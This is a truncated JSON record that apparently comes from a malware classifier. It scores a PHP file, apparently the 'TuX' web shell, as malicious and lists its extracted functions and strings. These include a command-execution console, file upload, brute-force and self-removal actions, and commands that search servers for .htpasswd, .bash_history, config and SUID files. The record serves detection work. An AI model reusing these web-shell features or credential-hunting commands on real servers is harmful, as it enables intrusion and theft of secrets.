{ "ml": { "v": "4", "fs": [ { "id": 0, "prob": 0.9999707937240601, "class": 2 } ], "prob": 0.9999708, "class": 2, "models": [ { "m": "az", "prob": 0.9992047, "class": 2 }, { "m": "az/scripts", "prob": 0.9998348, "class": 2 }, { "m": "az/php", "prob": 0.9999708, "class": 2 } ], "version": "v16.16", "thresholds": [ 0.9961138, 0.99909174 ], "analyzed_at": "2026-05-08T22:34:41Z" }, "path": "dbf6319cca80e0f2a2d225ada83fbab0", "raw": { "v": "4", "fs": [ { "f": "K₂O₁₂(C₂₀As₅Ca₃Dy₃Er₃AlIXe₆CoEu₂La₂S₄)H₇(Po₈Cm₇CrDb₁₁F₈Os₅U)Md₄(PaPt₂)Th₃", "k": { "source.imports[0]": "TuXEx", "source.imports[1]": "TuXFooter", "source.imports[2]": "TuXHeader", "source.imports[3]": "TuXLogin", "source.imports[4]": "TuXPerms", "source.imports[5]": "TuXPermsColor", "source.imports[6]": "TuXRecursiveGlob", "source.imports[7]": "TuXSecParam", "source.imports[8]": "TuXViewSize", "source.imports[9]": "TuXWhich", "source.strings[0]": "\r\n var charset_ = ", "source.strings[1]": "\r\n\u003c/div\u003e\r\n\u003ctable class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'\u003e\r\n\t\u003ctr\u003e\r\n\t\t\u003ctd\u003e\u003cform onsubmit='g(null,this.c.value,", "source.strings[2]": "\r\n\u003c/div\u003e\r\n\u003ctable class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'\u003e\r\n\t\u003ctr\u003e\r\n\t\t\u003ctd\u003e\u003cform onsubmit='g(null,this.c.value,\\\"\\\");return false;'\u003e\u003cspan\u003eChange dir:\u003c/span\u003e\u003cbr\u003e\u003cinput class='toolsInp' type=text name=c value=", "source.strings[3]": " ) \u003cspan\u003eGroup:\u003c/span\u003e ", "source.strings[4]": " )\u003cbr\u003e", "source.strings[5]": " -\u003c/title\u003e\r\n\u003cstyle\u003e\r\nbody{background-color:#000028;color:#e1e1e1;}\r\nbody,td,th{ border:1px outset black;font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }\r\ntable.info{ border-left:5px solid #df5;color:#fff;background-color:#000028; }\r\nspan,h1,a{ color: #df5 !important; }\r\nspan{ font-weight: bolder; }\r\nh1{ border-left:7px solid #df5;padding: 2px 5px;font: 14pt Verdana;background-color:#000028;margin:0px; }\r\ndiv.content{ padding: 7px;margin-left:7px;background-color:#333; }\r\na{ text-decoration:none; }\r\na:hover{ text-decoration:underline; }\r\n.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }\r\n.bigarea{ width:100%;height:250px; }\r\ninput,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid #df5; font: 9pt Monospace,'Courier New'; }\r\nform{ margin:0px; }\r\n#toolsTbl{ text-align:center; }\r\n.toolsInp{ width: 300px }\r\n.main th{text-align:left;background-color:#003300;}\r\n.main tr:hover{border:2px outset gray;;background-color:#5e5e5e}\r\n.l1{background-color:#444}\r\n.l2{background-color:#333}\r\npre{font-family:Courier,Monospace;}\r\n\u003c/style\u003e\r\n\u003cscript\u003e\r\n var c_ = ", "source.strings[6]": " \u003c/span\u003e", "source.strings[7]": " \u003ca href=", "source.strings[8]": " \u003ca href=\"", "source.strings[9]": " \u003ca href=# onclick=\"g(", "source.has_imports": true, "source.imports[10]": "TuXstripslashes", "source.imports[11]": "addcslashes", "source.imports[12]": "addslashes", "source.imports[13]": "apache_get_modules", "source.imports[14]": "array_map", "source.imports[15]": "array_merge", "source.imports[16]": "array_unique", "source.imports[17]": "base64_decode", "source.imports[18]": "basename", "source.imports[19]": "bindec", "source.imports[20]": "bruteForce", "source.imports[21]": "call_user_func", "source.imports[22]": "ceil", "source.imports[23]": "cf", "source.imports[24]": "chdir", "source.imports[25]": "chmod", "source.imports[26]": "chr", "source.imports[27]": "class_exists", "source.imports[28]": "clearstatcache", "source.imports[29]": "closedir", "source.imports[30]": "copy", "source.imports[31]": "copy_paste", "source.imports[32]": "count", "source.imports[33]": "curl_exec", "source.imports[34]": "curl_init", "source.imports[35]": "date", "source.imports[36]": "decbin", "source.imports[37]": "dechex", "source.imports[38]": "define", "source.imports[39]": "deleteDir", "source.imports[40]": "die", "source.imports[41]": "disk_total_space", "source.imports[42]": "diskfreespace", "source.imports[43]": "each", "source.imports[44]": "empty", "source.imports[45]": "error_reporting", "source.imports[46]": "escapeshellarg", "source.imports[47]": "eval", "source.imports[48]": "exec", "source.imports[49]": "explode", "source.imports[50]": "fclose", "source.imports[51]": "feof", "source.imports[52]": "file", "source.imports[53]": "file_exists", "source.imports[54]": "file_get_contents", "source.imports[55]": "fileatime", "source.imports[56]": "filectime", "source.imports[57]": "filegroup", "source.imports[58]": "filemtime", "source.imports[59]": "fileowner", "source.imports[60]": "fileperms", "source.imports[61]": "filesize", "source.imports[62]": "filetype", "source.imports[63]": "fopen", "source.imports[64]": "fread", "source.imports[65]": "ftp_close", "source.imports[66]": "ftp_connect", "source.imports[67]": "ftp_login", "source.imports[68]": "func_get_arg", "source.imports[69]": "func_num_args", "source.imports[70]": "function_exists", "source.imports[71]": "fwrite", "source.imports[72]": "get_current_user", "source.imports[73]": "get_magic_quotes_gpc", "source.imports[74]": "getcwd", "source.imports[75]": "getenv", "source.imports[76]": "getmygid", "source.imports[77]": "getmyuid", "source.imports[78]": "glob", "source.imports[79]": "header", "source.imports[80]": "hexdec", "source.imports[81]": "highlight_file", "source.imports[82]": "htmlspecialchars", "source.imports[83]": "iconv", "source.imports[84]": "implode", "source.imports[85]": "in_array", "source.imports[86]": "ini_get", "source.imports[87]": "ini_restore", "source.imports[88]": "ini_set", "source.imports[89]": "is_array", "source.imports[90]": "is_dir", "source.imports[91]": "is_file", "source.imports[92]": "is_link", "source.imports[93]": "is_numeric", "source.imports[94]": "is_readable", "source.imports[95]": "is_resource", "source.imports[96]": "is_writable", "source.imports[97]": "isset", "source.imports[98]": "join", "source.imports[99]": "md5", "source.strings[10]": " \u003ca href=# onclick=\"g(\\'FilesMan\\',\\", "source.strings[11]": " \u003ca href=# onclick=\"g(\\'Php\\',null,\\'\\',\\'info\\')\"\u003e[ phpinfo ]\u003c/a\u003e \u003cspan\u003eDatetime:\u003c/span\u003e ", "source.strings[12]": " \u003cfont color='#25ff00'\u003e(Writeable)\u003c/font\u003e", "source.strings[13]": " \u003cfont color=red\u003e(Not writable)\u003c/font\u003e", "source.strings[14]": " \u003cspan\u003eFree:\u003c/span\u003e ", "source.strings[15]": " \u003cspan\u003eSafe mode:\u003c/span\u003e ", "source.strings[16]": " ]\u003c/a\u003e ", "source.strings[17]": " target=_blank\u003e[exploit-db.com]\u003c/a\u003e\u003c/nobr\u003e\u003cbr\u003e", "source.strings[18]": "\" target=_blank\u003e[exploit-db.com]\u003c/a\u003e\u003c/nobr\u003e\u003cbr\u003e", "source.strings[19]": "%\"\u003e[ \u003ca href=\"#\" onclick=\"g(", "source.strings[20]": "%\"\u003e[ \u003ca href=\"#\" onclick=\"g(\\", "source.strings[21]": "%)\u003cbr\u003e", "source.strings[22]": ")\"\u003e[ home ]\u003c/a\u003e\u003cbr\u003e", "source.strings[23]": ")\"\u003e[ phpinfo ]\u003c/a\u003e \u003cspan\u003eDatetime:\u003c/span\u003e ", "source.strings[24]": ");return false;'\u003e\u003cspan\u003eChange dir:\u003c/span\u003e\u003cbr\u003e\u003cinput class='toolsInp' type=text name=c value=", "source.strings[25]": ", 'm');\r\n\t\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\t\teval(arr[2].substr(0, arr[1]));\r\n\t\t\t} else alert('Request error!');\r\n\t}\r\n\u003c/script\u003e\r\n\u003chead\u003e\u003cbody\u003e\u003cdiv style='position:absolute;width:100%;background-color:#444;top:0;left:0;'\u003e\r\n\u003cform method=post name=mf style='display:none;'\u003e\r\n\u003cinput type=hidden name=a\u003e\r\n\u003cinput type=hidden name=c\u003e\r\n\u003cinput type=hidden name=p1\u003e\r\n\u003cinput type=hidden name=p2\u003e\r\n\u003cinput type=hidden name=p3\u003e\r\n\u003cinput type=hidden name=charset\u003e\r\n\u003c/form\u003e", "source.strings[26]": ", params);\r\n\t}\r\n\tfunction sr(url, params) {\t\r\n\t\tif (window.XMLHttpRequest)\r\n\t\t\treq = new XMLHttpRequest();\r\n\t\telse if (window.ActiveXObject)\r\n\t\t\treq = new ActiveXObject('Microsoft.XMLHTTP');\r\n if (req) {\r\n req.onreadystatechange = processReqChange;\r\n req.open('POST', url, true);\r\n req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\r\n req.send(params);\r\n }\r\n\t}\r\n\tfunction processReqChange() {\r\n\t\tif( (req.readyState == 4) )\r\n\t\t\tif(req.status == 200) {\r\n\t\t\t\tvar reg = new RegExp(", "source.strings[27]": ", params);\r\n\t}\r\n\tfunction sr(url, params) {\t\r\n\t\tif (window.XMLHttpRequest)\r\n\t\t\treq = new XMLHttpRequest();\r\n\t\telse if (window.ActiveXObject)\r\n\t\t\treq = new ActiveXObject('Microsoft.XMLHTTP');\r\n if (req) {\r\n req.onreadystatechange = processReqChange;\r\n req.open('POST', url, true);\r\n req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\r\n req.send(params);\r\n }\r\n\t}\r\n\tfunction processReqChange() {\r\n\t\tif( (req.readyState == 4) )\r\n\t\t\tif(req.status == 200) {\r\n\t\t\t\tvar reg = new RegExp(\\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\\", 'm');\r\n\t\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\t\teval(arr[2].substr(0, arr[1]));\r\n\t\t\t} else alert('Request error!');\r\n\t}\r\n\u003c/script\u003e\r\n\u003chead\u003e\u003cbody\u003e\u003cdiv style='position:absolute;width:100%;background-color:#444;top:0;left:0;'\u003e\r\n\u003cform method=post name=mf style='display:none;'\u003e\r\n\u003cinput type=hidden name=a\u003e\r\n\u003cinput type=hidden name=c\u003e\r\n\u003cinput type=hidden name=p1\u003e\r\n\u003cinput type=hidden name=p2\u003e\r\n\u003cinput type=hidden name=p3\u003e\r\n\u003cinput type=hidden name=charset\u003e\r\n\u003c/form\u003e", "source.strings[28]": ",null,", "source.strings[29]": "/\\')\"\u003e[ ", "source.strings[30]": ";\r\n var a_ = ", "source.strings[31]": ";\r\n var d = document;\r\n\tfunction set(a,c,p1,p2,p3,charset) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n\t}\r\n\tfunction g(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction a(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\tvar params = 'ajax=true';\r\n\t\tfor(i=0;i\u003cd.mf.elements.length;i++)\r\n\t\t\tparams += '\u0026'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\r\n\t\tsr(", "source.strings[32]": ";\r\n var p1_ = ", "source.strings[33]": ";\r\n var p2_ = ", "source.strings[34]": ";\r\n var p3_ = ", "source.strings[35]": "\u003c/a\u003e ]\u003c/th\u003e", "source.strings[36]": "\u003c/font\u003e", "source.strings[37]": "\u003c/nobr\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e", "source.strings[38]": "\u003c/optgroup\u003e\u003c/select\u003e\u003cbr\u003e\u003cspan\u003eServer IP:\u003c/span\u003e\u003cbr\u003e", "source.strings[39]": "\u003c/option\u003e", "source.strings[40]": "\u003c/pre\u003e", "source.strings[41]": "\u003c/span\u003e\u003c/td\u003e", "source.strings[42]": "\u003c/tr\u003e\u003c/table\u003e\u003cdiv style=\"margin:5\"\u003e", "source.strings[43]": "\u003ca href=\"#\" onclick=\"g(", "source.strings[44]": "\u003ca href=\"#\" onclick=\"g(\\'FilesMan\\',\\", "source.strings[45]": "\u003ca href='#' onclick='g(", "source.strings[46]": "\u003ca href='#' onclick='g(\\\"FilesMan\\\",\\", "source.strings[47]": "\u003cbr\u003e\u003cinput class='toolsInp' type=file name=f\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/form\u003e\u003cbr \u003e\u003c/td\u003e\r\n\t\u003c/tr\u003e\u003c/table\u003e\u003c/div\u003e\u003c/body\u003e\u003c/html\u003e", "source.strings[48]": "\u003cbr\u003e\u003cinput class='toolsInp' type=text name=d\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/form\u003e\u003c/td\u003e\r\n\t\u003ctd\u003e\u003cform onsubmit=", "source.strings[49]": "\u003cbr\u003e\u003cinput class='toolsInp' type=text name=f\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/form\u003e\u003c/td\u003e\r\n\t\u003c/tr\u003e\u003ctr\u003e\r\n\t\t\u003ctd\u003e\u003cform onsubmit=", "source.strings[50]": "\u003cbr\u003e\u003cspan\u003eClient IP:\u003c/span\u003e\u003cbr\u003e", "source.strings[51]": "\u003cbr\u003eDrives:", "source.strings[52]": "\u003cfont color=#00bb00\u003e\u003cb\u003eOFF\u003c/b\u003e\u003c/font\u003e", "source.strings[53]": "\u003cfont color=#25ff00\u003e", "source.strings[54]": "\u003cfont color=#FF0000\u003e", "source.strings[55]": "\u003cfont color=red\u003eON\u003c/font\u003e", "source.strings[56]": "\u003cfont color=white\u003e", "source.strings[57]": "\u003ch1\u003eServer security information\u003c/h1\u003e\u003cdiv class=content\u003e", "source.strings[58]": "\u003chtml\u003e\u003chead\u003e\u003cmeta http-equiv='Content-Type' content='text/html; charset=", "source.strings[59]": "\u003coption value=", "source.strings[60]": "\u003coption value=\"", "source.strings[61]": "\u003cpre align=center\u003e\u003cbr\u003e\u003cbr\u003e\u003cform method=post\u003e\u003cinput type=password name=pass\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/form\u003e\u003c/pre\u003e", "source.strings[62]": "\u003cpre class=ml1\u003e", "source.strings[63]": "\u003cspan\u003e", "source.strings[64]": "\u003ctable class=info cellpadding=3 cellspacing=0 width=100%\u003e\u003ctr\u003e\u003ctd width=1\u003e\u003cspan\u003eUname:\u003cbr\u003eUser:\u003cbr\u003ePhp:\u003cbr\u003eHdd:\u003cbr\u003eCwd:", "source.strings[65]": "\u003ctable style=\"border-top:2px solid #333;\" cellpadding=3 cellspacing=0 width=100%\u003e\u003ctr\u003e", "source.strings[66]": "\u003ctd width=1 align=right\u003e\u003cnobr\u003e\u003cselect onchange=\"g(null,null,null,null,null,this.value)\"\u003e\u003coptgroup label=\"Page charset\"\u003e", "source.strings[67]": "\u003ctd\u003e\u003cnobr\u003e", "source.strings[68]": "\u003cth width=", "source.strings[69]": "\u003cth width=\"", "source.strings[70]": "\u003e\r\n\t\t\u003cinput type=hidden name=p1 value='uploadFile'\u003e\r\n\t\t\u003cinput type=hidden name=charset value=", "source.strings[71]": "\u003e\r\n\t\t\u003cspan\u003eUpload file:\u003c/span\u003e", "source.strings[72]": "\u003e\r\n\t\t\u003cspan\u003eUpload file:\u003c/span\u003e$is_writable\u003cbr\u003e\u003cinput class='toolsInp' type=file name=f\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/form\u003e\u003cbr \u003e\u003c/td\u003e\r\n\t\u003c/tr\u003e\u003c/table\u003e\u003c/div\u003e\u003c/body\u003e\u003c/html\u003e", "source.strings[73]": "\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/form\u003e\u003c/td\u003e\r\n\t\t\u003ctd\u003e\u003cform onsubmit=", "source.strings[74]": "\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/form\u003e\u003c/td\u003e\r\n\t\t\u003ctd\u003e\u003cform onsubmit=\\\"g('FilesTools',null,this.f.value);return false;\\\"\u003e\u003cspan\u003eRead file:\u003c/span\u003e\u003cbr\u003e\u003cinput class='toolsInp' type=text name=f\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/form\u003e\u003c/td\u003e\r\n\t\u003c/tr\u003e\u003ctr\u003e\r\n\t\u003ctd\u003e\u003cform onsubmit=\\\"g('FilesMan',null,'mkdir',this.d.value);return false;\\\"\u003e\u003cspan\u003eMake dir:\u003c/span\u003e$is_writable\u003cbr\u003e\u003cinput class='toolsInp' type=text name=d\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/form\u003e\u003c/td\u003e\r\n\t\u003ctd\u003e\u003cform onsubmit=\\\"g('FilesTools',null,this.f.value,'mkfile');return false;\\\"\u003e\u003cspan\u003eMake file:\u003c/span\u003e$is_writable\u003cbr\u003e\u003cinput class='toolsInp' type=text name=f\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/form\u003e\u003c/td\u003e\r\n\t\u003c/tr\u003e\u003ctr\u003e\r\n\t\t\u003ctd\u003e\u003cform onsubmit=\\\"g('Console',null,this.c.value);return false;\\\"\u003e\u003cspan\u003eExecute:\u003c/span\u003e\u003cbr\u003e\u003cinput class='toolsInp' type=text name=c value=''\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/form\u003e\u003c/td\u003e\r\n\t\t\u003ctd\u003e\u003cform method='post' ENCTYPE='multipart/form-data'\u003e\r\n\t\t\u003cinput type=hidden name=a value='FilesMAn'\u003e\r\n\t\t\u003cinput type=hidden name=c value=", "source.strings[75]": "\u003e\u003cspan\u003eExecute:\u003c/span\u003e\u003cbr\u003e\u003cinput class='toolsInp' type=text name=c value=''\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/form\u003e\u003c/td\u003e\r\n\t\t\u003ctd\u003e\u003cform method='post' ENCTYPE='multipart/form-data'\u003e\r\n\t\t\u003cinput type=hidden name=a value='FilesMAn'\u003e\r\n\t\t\u003cinput type=hidden name=c value=", "source.strings[76]": "\u003e\u003cspan\u003eMake dir:\u003c/span\u003e", "source.strings[77]": "\u003e\u003cspan\u003eMake file:\u003c/span\u003e", "source.strings[78]": "\u003e\u003cspan\u003eRead file:\u003c/span\u003e\u003cbr\u003e\u003cinput class='toolsInp' type=text name=f\u003e\u003cinput type=submit value='\u003e\u003e'\u003e\u003c/form\u003e\u003c/td\u003e\r\n\t\u003c/tr\u003e\u003ctr\u003e\r\n\t\u003ctd\u003e\u003cform onsubmit=", "source.strings[79]": "\u003e\u003ctitle\u003e- ", "source.strings[80]": "ARP Table", "source.strings[81]": "Bruteforce", "source.strings[82]": "Console", "source.strings[83]": "Disabled PHP Functions", "source.strings[84]": "FilesMan", "source.strings[85]": "Find *config*.php in current dir", "source.strings[86]": "Find index.php in current dir", "source.strings[87]": "Google", "source.strings[88]": "HTTP/1.0 404 Not Found", "source.strings[89]": "HTTP_HOST", "source.strings[90]": "HTTP_USER_AGENT", "source.strings[91]": "IP Configuration", "source.strings[92]": "KOI8-R", "source.strings[93]": "KOI8-U", "source.strings[94]": "Linux Kernel ", "source.strings[95]": "List Directory", "source.strings[96]": "List dir", "source.strings[97]": "Loaded Apache modules", "source.strings[98]": "Locate", "source.strings[99]": "Logout", "source.functions[0]": "DbClass", "source.functions[1]": "TuXCmp", "source.functions[2]": "TuXEx", "source.functions[3]": "TuXFooter", "source.functions[4]": "TuXHeader", "source.functions[5]": "TuXLogin", "source.functions[6]": "TuXPerms", "source.functions[7]": "TuXPermsColor", "source.functions[8]": "TuXRecursiveGlob", "source.functions[9]": "TuXSecParam", "source.imports[100]": "mime_content_type", "source.imports[101]": "mkdir", "source.imports[102]": "move_uploaded_file", "source.imports[103]": "mysql_close", "source.imports[104]": "mysql_connect", "source.imports[105]": "mysql_error", "source.imports[106]": "mysql_fetch_array", "source.imports[107]": "mysql_fetch_assoc", "source.imports[108]": "mysql_get_client_info", "source.imports[109]": "mysql_query", "source.imports[110]": "mysql_real_escape_string", "source.imports[111]": "mysql_select_db", "source.imports[112]": "mysql_set_charset", "source.imports[113]": "nl2br", "source.imports[114]": "ob_get_clean", "source.imports[115]": "ob_start", "source.imports[116]": "opendir", "source.imports[117]": "ord", "source.imports[118]": "passthru", "source.imports[119]": "pclose", "source.imports[120]": "pg_close", "source.imports[121]": "pg_connect", "source.imports[122]": "pg_fetch_assoc", "source.imports[123]": "pg_last_error", "source.imports[124]": "pg_query", "source.imports[125]": "pg_set_client_encoding", "source.imports[126]": "php_uname", "source.imports[127]": "phpinfo", "source.imports[128]": "phpversion", "source.imports[129]": "popen", "source.imports[130]": "posix_getegid", "source.imports[131]": "posix_geteuid", "source.imports[132]": "posix_getgrgid", "source.imports[133]": "posix_getpwuid", "source.imports[134]": "pow", "source.imports[135]": "preg_match", "source.imports[136]": "preg_replace", "source.imports[137]": "range", "source.imports[138]": "readdir", "source.imports[139]": "readlink", "source.imports[140]": "realpath", "source.imports[141]": "rename", "source.imports[142]": "reset", "source.imports[143]": "rmdir", "source.imports[144]": "scandir", "source.imports[145]": "serialize", "source.imports[146]": "session_destroy", "source.imports[147]": "session_start", "source.imports[148]": "set_magic_quotes_runtime", "source.imports[149]": "set_time_limit", "source.imports[150]": "shell_exec", "source.imports[151]": "sprintf", "source.imports[152]": "strLen", "source.imports[153]": "str_replace", "source.imports[154]": "strcmp", "source.imports[155]": "stripslashes", "source.imports[156]": "strlen", "source.imports[157]": "strpos", "source.imports[158]": "strtolower", "source.imports[159]": "strtotime", "source.imports[160]": "strtoupper", "source.imports[161]": "substr", "source.imports[162]": "system", "source.imports[163]": "tempnam", "source.imports[164]": "touch", "source.imports[165]": "trim", "source.imports[166]": "unlink", "source.imports[167]": "urldecode", "source.imports[168]": "urlencode", "source.imports[169]": "usort", "source.strings[100]": "MSNBot", "source.strings[101]": "Network", "source.strings[102]": "Open base dir", "source.strings[103]": "REMOTE_ADDR", "source.strings[104]": "REQUEST_URI", "source.strings[105]": "Rambler", "source.strings[106]": "SERVER_ADDR", "source.strings[107]": "SERVER_SOFTWARE", "source.strings[108]": "Safe mode", "source.strings[109]": "Safe mode exec dir", "source.strings[110]": "SafeMode", "source.strings[111]": "Sec. Info", "source.strings[112]": "SecInfo", "source.strings[113]": "Self remove", "source.strings[114]": "SelfRemove", "source.strings[115]": "Server software", "source.strings[116]": "Show active connections", "source.strings[117]": "Show computers", "source.strings[118]": "Show running services", "source.strings[119]": "String tools", "source.strings[120]": "StringTools", "source.strings[121]": "TuX_VERSION", "source.strings[122]": "TuXstripslashes", "source.strings[123]": "User accounts", "source.strings[124]": "Windows-1251", "source.strings[125]": "Y-m-d H:i:s", "source.strings[126]": "Yandex", "source.strings[127]": "\\',\\'\\',\\'\\',\\'\\')\"\u003e[ home ]\u003c/a\u003e\u003cbr\u003e", "source.strings[128]": "\\',null,\\'\\',\\'\\',\\'\\')\"\u003e", "source.strings[129]": "apache_get_modules", "source.strings[130]": "arp -a", "source.strings[131]": "auth_pass", "source.strings[132]": "charset", "source.strings[133]": "config*", "source.strings[134]": "default_charset", "source.strings[135]": "default_use_ajax", "source.strings[136]": "dir /s /w /b *config*.php", "source.strings[137]": "dir /s /w /b index.php", "source.strings[138]": "disable_functions", "source.strings[139]": "error_log", "source.strings[140]": "find . -perm -2 -ls", "source.strings[141]": "find . -type f -name ", "source.strings[142]": "find . -type f -name .bash_history", "source.strings[143]": "find . -type f -name .fetchmailrc", "source.strings[144]": "find . -type f -name .htpasswd", "source.strings[145]": "find . -type f -name \\\"config*\\", "source.strings[146]": "find . -type f -name service.pwd", "source.strings[147]": "find . -type f -perm -02000 -ls", "source.strings[148]": "find . -type f -perm -04000 -ls", "source.strings[149]": "find .bash_history files in current dir", "source.strings[150]": "find .fetchmailrc files in current dir", "source.strings[151]": "find .htpasswd files in current dir", "source.strings[152]": "find / -perm -2 -ls", "source.strings[153]": "find / -type f -name ", "source.strings[154]": "find / -type f -name .bash_history", "source.strings[155]": "find / -type f -name .fetchmailrc", "source.strings[156]": "find / -type f -name .htpasswd", "source.strings[157]": "find / -type f -name \\\"config*\\", "source.strings[158]": "find / -type f -name config.inc.php", "source.strings[159]": "find / -type f -name service.pwd", "source.strings[160]": "find / -type f -perm -02000 -ls", "source.strings[161]": "find / -type f -perm -04000 -ls", "source.strings[162]": "find all .bash_history files", "source.strings[163]": "find all .fetchmailrc files", "source.strings[164]": "find all .htpasswd files", "source.strings[165]": "find all service.pwd files", "source.strings[166]": "find all sgid files", "source.strings[167]": "find all suid files", "source.strings[168]": "find all writable folders and files", "source.strings[169]": "find all writable folders and files in current dir", "source.strings[170]": "find config* files", "source.strings[171]": "find config* files in current dir", "source.strings[172]": "find config.inc.php files", "source.strings[173]": "find service.pwd files in current dir", "source.strings[174]": "find sgid files in current dir", "source.strings[175]": "find suid files in current dir", "source.strings[176]": "g('Console',null,this.c.value);return false;", "source.strings[177]": "g('FilesMan',null,'mkdir',this.d.value);return false;", "source.strings[178]": "g('FilesTools',null,this.f.value);return false;", "source.strings[179]": "g('FilesTools',null,this.f.value,'mkfile');return false;", "source.strings[180]": "home_cwd", "source.strings[181]": "http://exploit-db.com/list.php?description=", "source.strings[182]": "ia_archiver", "source.strings[183]": "ipconfig /all", "source.strings[184]": "list file attributes on a Linux second extended file system", "source.strings[185]": "locate '.bash_history", "source.strings[186]": "locate '.conf", "source.strings[187]": "locate '.fetchmailrc", "source.strings[188]": "locate '.htpasswd", "source.strings[189]": "locate '.mysql_history", "source.strings[190]": "locate '.pwd", "source.strings[191]": "locate '.sql", "source.strings[192]": "locate .bash_history files", "source.strings[193]": "locate .conf files", "source.strings[194]": "locate .fetchmailrc files", "source.strings[195]": "locate .htpasswd files", "source.strings[196]": "locate .mysql_history files", "source.strings[197]": "locate .pwd files", "source.strings[198]": "locate .sql files", "source.strings[199]": "locate admin.php", "source.strings[200]": "locate admin.php files", "source.strings[201]": "locate backup", "source.strings[202]": "locate backup files", "source.strings[203]": "locate cfg.php", "source.strings[204]": "locate cfg.php files", "source.strings[205]": "locate conf.php", "source.strings[206]": "locate conf.php files", "source.strings[207]": "locate config", "source.strings[208]": "locate config* files ", "source.strings[209]": "locate config.dat", "source.strings[210]": "locate config.dat files", "source.strings[211]": "locate config.default.php", "source.strings[212]": "locate config.default.php files", "source.strings[213]": "locate config.inc", "source.strings[214]": "locate config.inc files", "source.strings[215]": "locate config.inc.php", "source.strings[216]": "locate config.php", "source.strings[217]": "locate config.php files", "source.strings[218]": "locate dump", "source.strings[219]": "locate dump files", "source.strings[220]": "locate httpd.conf", "source.strings[221]": "locate httpd.conf files", "source.strings[222]": "locate my.conf", "source.strings[223]": "locate my.conf files", "source.strings[224]": "locate priv", "source.strings[225]": "locate priv files", "source.strings[226]": "locate proftpd.conf", "source.strings[227]": "locate proftpd.conf files", "source.strings[228]": "locate psybnc.conf", "source.strings[229]": "locate psybnc.conf files", "source.strings[230]": "locate vhosts.conf", "source.strings[231]": "locate vhosts.conf files", "source.strings[232]": "log_errors", "source.strings[233]": "ls -lha", "source.strings[234]": "lsattr -va", "source.strings[235]": "max_execution_time", "source.strings[236]": "net start", "source.strings[237]": "net user", "source.strings[238]": "net view", "source.strings[239]": "netstat -an", "source.strings[240]": "netstat -an | grep -i listen", "source.strings[241]": "open_basedir", "source.strings[242]": "passthru", "source.strings[243]": "posix_getegid", "source.strings[244]": "posix_getgrgid", "source.strings[245]": "posix_getpwuid", "source.strings[246]": "process status", "source.strings[247]": "ps aux", "source.strings[248]": "safe_mode", "source.strings[249]": "safe_mode_exec_dir", "source.strings[250]": "scandir", "source.strings[251]": "selected", "source.strings[252]": "shell_exec", "source.strings[253]": "show opened ports", "source.strings[254]": "system", "source.strings[255]": "which ", "source.functions[10]": "TuXViewSize", "source.functions[11]": "TuXWhich", "source.functions[12]": "TuXstripslashes", "source.functions[13]": "actionBruteforce", "source.functions[14]": "actionConsole", "source.functions[15]": "actionFilesMan", "source.functions[16]": "actionFilesTools", "source.functions[17]": "actionLogout", "source.functions[18]": "actionNetwork", "source.functions[19]": "actionPhp", "source.functions[20]": "actionRC", "source.functions[21]": "actionSafeMode", "source.functions[22]": "actionSecInfo", "source.functions[23]": "actionSelfRemove", "source.functions[24]": "actionSql", "source.functions[25]": "actionStringTools", "source.functions[26]": "ascii2hex", "source.functions[27]": "binhex", "source.functions[28]": "bruteForce", "source.functions[29]": "cf", "source.functions[30]": "connect", "source.functions[31]": "copy_paste", "source.functions[32]": "deleteDir", "source.functions[33]": "dump", "source.functions[34]": "error", "source.functions[35]": "fetch", "source.functions[36]": "full_urlencode", "source.functions[37]": "hex2ascii", "source.functions[38]": "hex2bin", "source.functions[39]": "listDbs", "source.functions[40]": "listTables", "source.functions[41]": "loadFile", "source.functions[42]": "move_paste", "source.functions[43]": "posix_getgrgid", "source.functions[44]": "posix_getpwuid", "source.functions[45]": "query", "source.functions[46]": "scandir", "source.functions[47]": "selectdb", "source.functions[48]": "setCharset" }, "x": 971, "id": 0, "is": [ "empty", "preg_match", "implode", "header", "session_start", "ini_set", "ini_set", "ini_set", "set_time_limit", "set_magic_quotes_runtime", "define", "get_magic_quotes_gpc", "is_array", "array_map", "stripslashes", "TuXstripslashes", "die", "isset", "md5", "empty", "isset", "md5", "md5", "TuXLogin", "strtolower", "substr", "ini_get", "error_reporting", "ini_get", "getcwd", "isset", "chdir", "getcwd", "str_replace", "str_replace", "strlen", "isset", "md5", "md5", 